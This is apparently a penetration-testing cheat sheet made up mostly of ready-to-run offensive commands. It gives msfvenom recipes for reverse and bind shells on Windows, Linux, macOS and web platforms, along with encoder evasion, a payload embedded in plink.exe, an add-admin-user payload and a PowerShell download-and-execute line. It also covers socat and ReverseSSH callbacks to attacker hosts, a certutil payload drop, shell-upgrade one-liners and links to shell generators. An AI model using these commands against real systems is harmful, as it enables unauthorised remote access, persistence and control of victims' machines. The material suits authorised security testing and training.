[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console with some offensive PS modules preloaded (cyphered) [https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c) [WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive PS modules and proxy detection (IEX)

## References

* <https://highon.coffee/blog/reverse-shell-cheat-sheet/>
* <https://gist.github.com/Arno0x>
* <https://github.com/GreatSCT/GreatSCT>
* <https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/>
* <https://www.hackingarticles.in/koadic-com-command-control-framework/>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md>
* <https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/>

## **MSFVenom - CheatSheet**

## Basic msfvenom

msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>

One can also use the -a to specify the architecture or the --platform

## Listing

msfvenom -l payloads #Payloads

msfvenom -l encoders #Encoders

## Common params when creating a shellcode

-b "\x00\x0a\x0d"

-f c

-e x86/shikata\_ga\_nai -i 5

EXITFUNC=thread

PrependSetuid=True #Use this to create a shellcode that will execute something with SUID

## **Windows**

### **Reverse Shell**

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe

### Bind Shell

msfvenom -p windows/meterpreter/bind\_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe

### Create User

msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe

### CMD Shell

msfvenom -p windows/shell/reverse\_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe

### **Execute Command**

msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe

msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe

### Encoder

msfvenom -p windows/meterpreter/reverse\_tcp -e shikata\_ga\_nai -i 3 -f exe > encoded.exe

### Embedded inside executable

msfvenom -p windows/shell\_reverse\_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe

## Linux Payloads

### Reverse Shell

msfvenom -p linux/x86/meterpreter/reverse\_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf

msfvenom -p linux/x64/shell\_reverse\_tcp LHOST=IP LPORT=PORT -f elf > shell.elf

### Bind Shell

msfvenom -p linux/x86/meterpreter/bind\_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf

### SunOS (Solaris)

msfvenom --platform=solaris --payload=solaris/x86/shell\_reverse\_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata\_ga\_nai -b '\x00' > solshell.elf

## **MAC Payloads**

### **Reverse Shell:**

msfvenom -p osx/x86/shell\_reverse\_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho

### **Bind Shell**

msfvenom -p osx/x86/shell\_bind\_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho

## **Web Based Payloads**

### **PHP**

#### Reverse shel**l**

msfvenom -p php/meterpreter\_reverse\_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php

cat shell.php | pb && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

### ASP/x

#### Reverse shell

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx

### JSP

#### Reverse shell

msfvenom -p java/jsp\_shell\_reverse\_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp

### WAR

#### Reverse Shell

msfvenom -p java/jsp\_shell\_reverse\_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war

### NodeJS

msfvenom -p nodejs/shell\_reverse\_tcp LHOST=(IP Address) LPORT=(Your Port)

## **Script Language payloads**

### **Perl**

msfvenom -p cmd/unix/reverse\_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl

### **Python**

msfvenom -p cmd/unix/reverse\_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py

### **Bash**

msfvenom -p cmd/unix/reverse\_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh

## [**Full TTYs**](https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys)

## Full TTY

Note that the shell you set in the SHELL variable **must** be **listed inside** ***/etc/shells*** or The value for the SHELL variable was not found in the /etc/shells file This incident has been reported. Also, note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running bash.

#### Python

python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

You can get the **number** of **rows** and **columns** executing **stty -a**

#### script

script /dev/null -qc /bin/bash #/dev/null is to not store anything

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

#### socat

#Listener:

socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

### **Spawn shells**

* python -c 'import pty; pty.spawn("/bin/sh")'
* echo os.system('/bin/bash')
* /bin/sh -i
* script -qc /bin/bash /dev/null
* perl -e 'exec "/bin/sh";'
* perl: exec "/bin/sh";
* ruby: exec "/bin/sh"
* lua: os.execute('/bin/sh')
* IRB: exec "/bin/sh"
* vi: :!bash
* vi: :set shell=/bin/bash:shell
* nmap: !sh

## ReverseSSH

A convenient way for **interactive shell access**, as well as **file transfers** and **port forwarding**, is dropping the statically-linked ssh server [ReverseSSH](https://github.com/Fahrj/reverse-ssh) onto the target.

Below is an example for x86 with upx-compressed binaries. For other binaries, check [releases page](https://github.com/Fahrj/reverse-ssh/releases/latest/).

1. Prepare locally to catch the ssh port forwarding request:

# Drop it via your preferred way, e.g.

wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx\_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -v -l -p 4444

* (2a) Linux target:

# Drop it via your preferred way, e.g.

wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx\_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2

* (2b) Windows 10 target (for earlier versions, check [project readme](https://github.com/Fahrj/reverse-ssh#features)):

# Drop it via your preferred way, e.g.

certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx\_reverse-sshx86.exe reverse-ssh.exe

reverse-ssh.exe -p 4444 kali@10.0.0.2

* If the ReverseSSH port forwarding request was successful, you should now be able to log in with the default password letmeinbrudipls in the context of the user running reverse-ssh(.exe):

# Interactive shell access

ssh -p 8888 127.0.0.1

# Bidirectional file transfer

sftp -P 8888 127.0.0.1

## No TTY

If for some reason you cannot obtain a full TTY you **still can interact with programs** that expect user input. In the following example, the password is passed to sudo to read a file:

expect -c 'spawn sudo -S cat "/root/root.txt";expect "\*password\*";send "<THE\_PASSWORD\_OF\_THE\_USER>";send "\r\n";interact'

## **Auto-generated shells**

* [**https://reverse-shell.sh/**](https://reverse-shell.sh/)
* [**https://www.revshells.com/**](https://www.revshells.com/)
* [**https://github.com/ShutdownRepo/shellerator**](https://github.com/ShutdownRepo/shellerator)
* [**https://github.com/0x00-0x00/ShellPop**](https://github.com/0x00-0x00/ShellPop)
* [**https://github.com/cybervaca/ShellReverse**](https://github.com/cybervaca/ShellReverse)
* [**https://liftoff.github.io/pyminifier/**](https://liftoff.github.io/pyminifier/)
* [**https://github.com/xct/xc/**](https://github.com/xct/xc/)
* [**https://weibell.github.io/reverse-shell-generator/**](https://weibell.github.io/reverse-shell-generator/)
* [**https://github.com/t0thkr1s/revshellgen**](https://github.com/t0thkr1s/revshellgen)
* [**https://github.com/mthbernardes/rsg**](https://github.com/mthbernardes/rsg)